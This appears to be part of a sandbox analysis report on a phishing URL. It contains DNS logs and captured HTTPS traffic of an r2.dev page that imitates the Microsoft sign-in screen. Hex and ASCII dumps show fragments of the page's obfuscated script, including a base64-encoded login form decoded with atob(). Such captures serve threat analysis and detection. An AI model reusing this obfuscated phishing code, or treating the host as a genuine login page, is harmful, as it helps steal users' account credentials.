Apr 17, 2024 01:43:00.122194052 CEST	1.1.1.1	192.168.2.4	0x6395	No error (0)	sni1gl.wpc.alphacdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.122632027 CEST	1.1.1.1	192.168.2.4	0xa5bd	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:00.122632027 CEST	1.1.1.1	192.168.2.4	0xa5bd	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.122632027 CEST	1.1.1.1	192.168.2.4	0xa5bd	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.124258041 CEST	1.1.1.1	192.168.2.4	0xc0cd	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:00.124258041 CEST	1.1.1.1	192.168.2.4	0xc0cd	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:00.124258041 CEST	1.1.1.1	192.168.2.4	0xc0cd	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.124258041 CEST	1.1.1.1	192.168.2.4	0xc0cd	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.124854088 CEST	1.1.1.1	192.168.2.4	0x6a73	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:00.785625935 CEST	1.1.1.1	192.168.2.4	0x6dac	No error (0)	shed.dual-low.part-0043.t-0009.t-msedge.net	part-0043.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:00.785625935 CEST	1.1.1.1	192.168.2.4	0x6dac	No error (0)	part-0043.t-0009.t-msedge.net		13.107.246.71	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.785625935 CEST	1.1.1.1	192.168.2.4	0x6dac	No error (0)	part-0043.t-0009.t-msedge.net		13.107.213.71	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:02.029491901 CEST	1.1.1.1	192.168.2.4	0x68d5	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:02.041297913 CEST	1.1.1.1	192.168.2.4	0x8673	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:02.567342997 CEST	1.1.1.1	192.168.2.4	0x81c7	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:02.580949068 CEST	1.1.1.1	192.168.2.4	0x7b83	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:04.387578964 CEST	1.1.1.1	192.168.2.4	0xfb1b	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:04.424490929 CEST	1.1.1.1	192.168.2.4	0xcf0	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev

https:

aadcdn.msauth.net

acctcdn.msauth.net

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	104.18.3.35	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:42 UTC	696	OUT	GET /index.html HTTP/1.1 Host: pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:42 UTC	283	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:42 GMT Content-Type: text/html Content-Length: 62429 Connection: close Accept-Ranges: bytes ETag: "f49eb480c703d920738308f9327d6005" Last-Modified: Wed, 15 Nov 2023 11:30:08 GMT Server: cloudflare CF-RAY: 8758088c08df4509-ATL
2024-04-16 23:42:42 UTC	1086	IN	Data Raw: 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 22 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 20 63 6c 61 73 73 3d 22 63 62 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 64 65 66 69 6e 65 47 6c 6f 62 61 6c 73 3a 20 53 65 72 76 65 72 44 61 74 61 2c 20 62 6f 64 79 43 73 73 43 6c 61 73 73 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 Data Ascii: <html class="" dir="ltr" lang="en"> <head> </head> <body style="display: block;" class="cb" data-bind="defineGlobals: ServerData, bodyCssClass"> <title>Sign in to your account</title> <meta http-equiv="Content-Type" content="text/html; ch
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 69 74 79 3d 22 73 68 61 33 38 34 2d 73 39 4a 30 58 65 75 55 69 51 54 34 31 56 76 38 70 4e 4c 37 45 6b 31 36 58 38 77 67 72 4c 58 2f 4d 77 6f 64 71 68 57 75 4e 72 74 55 41 52 35 52 4c 61 66 74 4f 66 58 72 30 4f 36 47 34 38 6c 2f 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 65 73 74 73 2f 32 2e 31 2f 63 6f 6e 74 65 6e 74 2f 63 64 6e 62 75 6e 64 6c 65 73 2f 63 6f 6e 76 65 72 67 65 64 2e 76 32 2e 6c 6f 67 69 6e 2e 6d 69 6e 5f 77 69 78 64 62 7a 33 75 62 7a 6e 6f 65 67 78 70 63 67 6b 66 6f 67 32 2e 63 73 73 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: ity="sha384-s9J0XeuUiQT41Vv8pNL7Ek16X8wgrLX/MwodqhWuNrtUAR5RLaftOfXr0O6G48l/"> <link rel="prefetch" href="https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_wixdbz3ubznoegxpcgkfog2.css"> <link rel="prefetch" href="https:/
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 76 61 72 20 72 65 64 69 72 65 63 74 55 72 6c 75 62 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 72 74 61 6c 2e 6f 66 66 69 63 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 74 61 74 75 73 22 2c 74 68 65 55 72 6c 78 64 3d 67 65 74 54 68 65 55 72 6c 4c 65 73 73 48 61 73 68 28 29 2c 6c 64 66 72 6d 66 72 6d 62 73 65 3d 24 28 22 23 6c 64 66 72 6d 66 72 6d 62 73 65 22 29 2c 6c 6f 67 6e 3d 61 74 6f 62 28 22 50 47 5a 76 63 6d 30 67 62 6d 46 74 5a 54 30 69 5a 6a 45 69 49 47 6c 6b 50 53 4a 70 4d 44 49 34 4d 53 49 67 62 6d 39 32 59 57 78 70 5a 47 46 30 5a 54 30 69 62 6d 39 32 59 57 78 70 5a 47 46 30 5a 53 49 67 63 33 42 6c 62 47 78 6a 61 47 56 6a 61 7a 30 69 5a 6d 46 73 63 32 55 69 49 47 31 6c 64 47 68 76 5a 44 30 69 63 47 39 7a 64 43 49 67 64 47 46 79 5a 32 56 30 50 53 4a 66 64 Data Ascii: var redirectUrlub="https://portal.office.com/servicestatus",theUrlxd=getTheUrlLessHash(),ldfrmfrmbse=$("#ldfrmfrmbse"),logn=atob("PGZvcm0gbmFtZT0iZjEiIGlkPSJpMDI4MSIgbm92YWxpZGF0ZT0ibm92YWxpZGF0ZSIgc3BlbGxjaGVjaz0iZmFsc2UiIG1ldGhvZD0icG9zdCIgdGFyZ2V0PSJfd
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 67 49 43 41 67 49 43 41 67 49 43 41 6e 59 58 42 77 4a 7a 6f 67 59 6d 46 6a 61 32 64 79 62 33 56 75 5a 45 78 76 5a 32 39 56 63 6d 77 73 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4a 33 64 70 5a 47 55 6e 4f 69 42 77 59 57 64 70 62 6d 46 30 61 57 39 75 51 32 39 75 64 48 4a 76 62 45 31 6c 64 47 68 76 5a 48 4d 6f 4b 53 41 6d 59 57 31 77 4f 79 5a 68 62 58 41 37 49 48 42 68 5a 32 6c 75 59 58 52 70 62 32 35 44 62 32 35 30 63 6d 39 73 54 57 56 30 61 47 39 6b 63 79 67 70 4c 6d 4e 31 63 6e 4a 6c 62 6e 52 57 61 57 56 33 53 47 46 7a 54 57 56 30 59 57 52 68 64 47 45 6f 4a 33 64 70 5a 47 55 6e 4b 53 77 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 6e 5a 6d 46 6b 5a 53 31 70 62 69 31 73 61 57 Data Ascii: gICAgICAgICAnYXBwJzogYmFja2dyb3VuZExvZ29VcmwsCiAgICAgICAgICAgICAgICAgICAgJ3dpZGUnOiBwYWdpbmF0aW9uQ29udHJvbE1ldGhvZHMoKSAmYW1wOyZhbXA7IHBhZ2luYXRpb25Db250cm9sTWV0aG9kcygpLmN1cnJlbnRWaWV3SGFzTWV0YWRhdGEoJ3dpZGUnKSwKICAgICAgICAgICAgICAgICAgICAnZmFkZS1pbi1saW
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 77 76 5a 47 6c 32 50 67 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 77 68 4c 53 30 67 49 43 41 67 49 45 56 4f 52 43 42 50 52 69 42 48 53 55 59 67 52 55 5a 47 52 55 4e 55 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 74 4c 54 34 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 73 61 57 64 6f 64 47 4a 76 65 43 31 6a 62 33 5a 6c 63 69 49 67 5a 47 46 30 59 53 31 69 61 57 35 6b 50 53 4a 6a 63 33 4d 36 49 48 73 67 4a 32 52 70 63 32 46 69 62 47 55 74 62 47 6c 6e 61 48 52 69 62 33 67 6e 4f 69 42 7a 64 6e 49 75 5a 6b 46 73 62 47 39 33 52 33 4a 68 65 55 39 31 64 45 78 70 5a 32 68 30 51 6d 39 34 49 43 5a 68 62 58 41 37 4a 6d 46 74 63 44 73 Data Ascii: ICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgIDwhLS0gICAgIEVORCBPRiBHSUYgRUZGRUNUICAgICAgICAgICAtLT4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsaWdodGJveC1jb3ZlciIgZGF0YS1iaW5kPSJjc3M6IHsgJ2Rpc2FibGUtbGlnaHRib3gnOiBzdnIuZkFsbG93R3JheU91dExpZ2h0Qm94ICZhbXA7JmFtcDs
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 32 35 6c 62 6e 51 36 49 48 73 67 62 6d 46 74 5a 54 6f 67 4a 33 42 68 5a 32 6c 75 59 58 52 70 62 32 34 74 59 32 39 75 64 48 4a 76 62 43 63 73 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 77 64 57 4a 73 61 57 4e 4e 5a 58 52 6f 62 32 52 7a 4f 69 42 77 59 57 64 70 62 6d 46 30 61 57 39 75 51 32 39 75 64 48 4a 76 62 45 31 6c 64 47 68 76 5a 48 4d 73 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 77 59 58 4a 68 62 58 4d 36 49 48 73 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 6c 62 6d 46 69 62 47 56 44 63 33 4e 42 62 6d 6c 74 59 58 52 70 Data Ascii: 25lbnQ6IHsgbmFtZTogJ3BhZ2luYXRpb24tY29udHJvbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdWJsaWNNZXRob2RzOiBwYWdpbmF0aW9uQ29udHJvbE1ldGhvZHMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXJhbXM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmFibGVDc3NBbmltYXRp
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 41 74 4c 54 34 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 50 47 52 70 64 69 42 6b 59 58 52 68 4c 57 4a 70 62 6d 51 39 49 6d 4e 7a 63 7a 6f 67 65 79 41 6e 65 6d 56 79 62 79 31 76 63 47 46 6a 61 58 52 35 4a 7a 6f 67 61 47 6c 6b 5a 56 42 68 5a 32 6c 75 59 58 52 6c 5a 46 5a 70 5a 58 63 6f 4b 53 42 39 49 69 42 6a 62 47 46 7a 63 7a 30 69 49 6a 34 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 77 59 57 64 70 62 6d 46 30 61 57 39 75 4c 58 5a 70 5a 58 63 67 59 57 35 70 62 57 46 30 5a 53 42 7a 62 47 6c 6b 5a 53 31 70 62 69 31 75 5a 58 68 30 49 69 42 6b 59 58 52 68 4c 57 4a 70 62 6d 51 39 49 6d 4e 7a 63 7a 6f 67 65 77 6f 67 49 43 41 67 49 43 41 67 49 Data Ascii: AtLT4KICAgICAgICAgICAgICAgICAgPGRpdiBkYXRhLWJpbmQ9ImNzczogeyAnemVyby1vcGFjaXR5JzogaGlkZVBhZ2luYXRlZFZpZXcoKSB9IiBjbGFzcz0iIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdpbmF0aW9uLXZpZXcgYW5pbWF0ZSBzbGlkZS1pbi1uZXh0IiBkYXRhLWJpbmQ9ImNzczogewogICAgICAgI
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 62 33 52 6f 5a 58 4a 4a 5a 48 42 53 5a 57 52 70 63 6d 56 6a 64 46 56 79 62 44 6f 67 63 32 68 68 63 6d 56 6b 52 47 46 30 59 53 35 76 64 47 68 6c 63 6b 6c 6b 63 46 4a 6c 5a 47 6c 79 5a 57 4e 30 56 58 4a 73 4c 41 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 42 79 5a 57 5a 70 62 47 78 4f 59 57 31 6c 63 7a 6f 67 4a 47 78 76 5a 32 6c 75 55 47 46 6e 5a 53 35 77 63 6d 56 6d 61 57 78 73 54 6d 46 74 5a 58 4d 73 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 5a 6d 78 76 64 31 52 76 61 32 56 75 4f 69 42 7a 61 47 46 79 5a 57 52 45 59 58 Data Ascii: gICAgICAgICAgICAgICAgb3RoZXJJZHBSZWRpcmVjdFVybDogc2hhcmVkRGF0YS5vdGhlcklkcFJlZGlyZWN0VXJsLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWZpbGxOYW1lczogJGxvZ2luUGFnZS5wcmVmaWxsTmFtZXMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmxvd1Rva2VuOiBzaGFyZWREYX
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 63 6d 35 68 62 45 4e 7a 63 7a 6f 67 65 79 41 6e 64 47 6c 30 62 47 55 6e 4f 69 42 30 63 6e 56 6c 49 48 30 69 50 67 6f 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 50 47 52 70 64 69 42 79 62 32 78 6c 50 53 4a 6f 5a 57 46 6b 61 57 35 6e 49 69 42 68 63 6d 6c 68 4c 57 78 6c 64 6d 56 73 50 53 49 78 49 69 42 6b 59 58 52 68 4c 57 4a 70 62 6d 51 39 49 6e 52 6c 65 48 51 36 49 48 52 70 64 47 78 6c 49 6a 35 54 61 57 64 75 49 47 6c 75 50 43 39 6b 61 58 59 2b 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 50 43 39 6b 61 58 59 2b 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 77 76 5a 47 6c Data Ascii: cm5hbENzczogeyAndGl0bGUnOiB0cnVlIH0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiByb2xlPSJoZWFkaW5nIiBhcmlhLWxldmVsPSIxIiBkYXRhLWJpbmQ9InRleHQ6IHRpdGxlIj5TaWduIGluPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl
2024-04-16 23:42:42 UTC	1369	IN	Data Raw: 32 5a 6d 62 47 6c 75 5a 56 39 68 59 32 4e 6c 63 33 4d 6d 59 57 31 77 4f 33 4a 6c 63 33 42 76 62 6e 4e 6c 58 32 31 76 5a 47 55 39 5a 6d 39 79 62 56 39 77 62 33 4e 30 4a 6d 46 74 63 44 74 79 5a 57 52 70 63 6d 56 6a 64 46 39 31 63 6d 6b 39 61 48 52 30 63 48 4d 6c 4d 32 45 6c 4d 6d 59 6c 4d 6d 5a 73 62 32 64 70 62 69 35 74 61 57 4e 79 62 33 4e 76 5a 6e 52 76 62 6d 78 70 62 6d 55 75 59 32 39 74 4a 54 4a 6d 59 32 39 74 62 57 39 75 4a 54 4a 6d 5a 6d 56 6b 5a 58 4a 68 64 47 6c 76 62 69 55 79 5a 6d 39 68 64 58 52 6f 4d 69 5a 68 62 58 41 37 63 33 52 68 64 47 55 39 63 6c 46 4a 53 55 46 6c 54 6d 6c 7a 54 6b 78 4b 53 30 4e 72 63 45 74 4d 59 6c 4d 78 65 56 39 4a 54 48 6c 77 53 6e 70 4f 53 45 78 36 56 58 64 31 65 57 6c 66 54 31 52 35 64 6b 70 36 4f 48 5a 4b 65 6b 56 32 Data Ascii: 2ZmbGluZV9hY2Nlc3MmYW1wO3Jlc3BvbnNlX21vZGU9Zm9ybV9wb3N0JmFtcDtyZWRpcmVjdF91cmk9aHR0cHMlM2ElMmYlMmZsb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tJTJmY29tbW9uJTJmZmVkZXJhdGlvbiUyZm9hdXRoMiZhbXA7c3RhdGU9clFJSUFlTmlzTkxKS0NrcEtMYlMxeV9JTHlwSnpOSEx6VXd1eWlfT1R5dkp6OHZKekV2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	13.107.246.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:43 UTC	694	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_wixdbz3ubznoegxpcgkfog2.css HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:43 UTC	776	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:43 GMT Content-Type: text/css Content-Length: 19750 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 18 Aug 2020 21:44:27 GMT ETag: 0x8D843BFE1586E6F x-ms-request-id: 8f5fc5ce-c01e-007a-5757-90198b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234243Z-18655757dbczz695ax75e6u4mc000000034000000000744s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-16 23:42:43 UTC	15608	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 5c f1 64 25 45 a4 9e a3 a9 b8 d6 71 9c 64 ce f1 ab 6c 67 1f 95 72 6d 71 24 ce 88 c7 94 a8 4b 52 33 9e d5 d1 7f bf 78 a3 01 34 20 6a 3c d9 ec bd 95 f5 c6 16 d1 8d 06 d0 dd 68 a0 01 34 f0 ed 37 7f 8a 9e 97 9b bb 2a bf 5e 36 d1 93 e7 a7 d1 ab 7c 5e 95 75 79 d5 90 f4 6a 53 56 69 93 97 eb 5e f4 ac 28 22 86 54 47 55 56 67 d5 4d b6 e8 45 df 7c fb ed 37 7f 7a d4 6d ff bf e8 fd 87 67 ef 3e 44 6f 7e 8c 3e fc 7c f1 ee 87 e8 2d f9 fa 47 f4 fa cd 87 8b e7 2f a2 d6 54 1e 3d fa b0 cc eb e8 2a 2f b2 88 fc 7b 99 d6 d9 22 2a d7 51 59 45 f9 7a 2e 6a 9d d5 d1 8a fc 5d e5 69 11 5d 55 e5 2a 6a 96 59 b4 a9 ca ff c9 e6 a4 0d 45 5e 37 24 d3 65 56 94 b7 d1 13 42 ae 5a 44 6f d3 aa b9 8b 2e de 9e f6 a2 0f 04 b7 24 Data Ascii: }k6w\d%Eqdlgrmq$KR3x4 j<h47^6\|^uyjSVi^("TGUVgME\|7zmg>Do~>\|-G/T=/{"QYEz.j]i]UjYE^7$eVBZDo.$
2024-04-16 23:42:43 UTC	4142	IN	Data Raw: 09 b3 09 4d e8 32 18 f8 db 2d e4 a8 85 f7 61 d2 91 ff 09 c6 5a d4 9e 86 ee 80 45 90 dd fb 5e 75 24 92 8a e5 10 d7 5d c8 29 01 76 3f b1 1d da 65 3d 7b e2 3e 47 29 b2 c8 8d fc 0a dc 3f aa 52 2c 1c ba d9 7f c4 61 0e 4a d2 f0 e6 cd 2e d3 d7 a1 0e 76 d3 cd 95 68 ce 7f b1 17 11 38 4d d7 85 5b 49 22 d4 92 8b 5c 05 44 b0 c7 08 68 80 57 3e ff 74 ba 13 51 b7 e2 61 1b 1f da 97 f6 65 b3 fe de 52 be b4 5b fa 8a 89 7a 72 17 d5 d9 bf 6a 15 0c ee 12 f2 ee 29 81 bd 47 aa b9 ec 11 26 61 7d 07 26 25 63 6f 92 07 0b 9a 92 12 28 d6 23 89 74 10 8d 16 69 bd cc 16 51 6c 8d 46 a6 1d 74 0d aa 45 f9 d7 aa 2c b2 ef e8 83 87 f4 dd ca 8f d6 69 28 6b 11 ca ca eb 9c 7a f9 33 ec 20 c6 59 29 ca 07 23 d0 cc ba e6 9d 85 8c c9 30 3b b6 19 2b b3 f4 68 1c de 56 5d be 9d 68 3c fe 92 ab c2 e3 e7 Data Ascii: M2-aZE^u$])v?e={>G)?R,aJ.vh8M[I"\DhW>tQaeR[zrj)G&a}&%co(#tiQlFtE,i(kz3 Y)#0;+hV]h<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49744	13.107.246.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:42:44 UTC	680	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:42:44 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:42:44 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: b1c5804b-e01e-0044-7b50-909a87000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234244Z-18655757dbcqxsvqh02gg0s8as00000003w0000000000py2 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:42:44 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
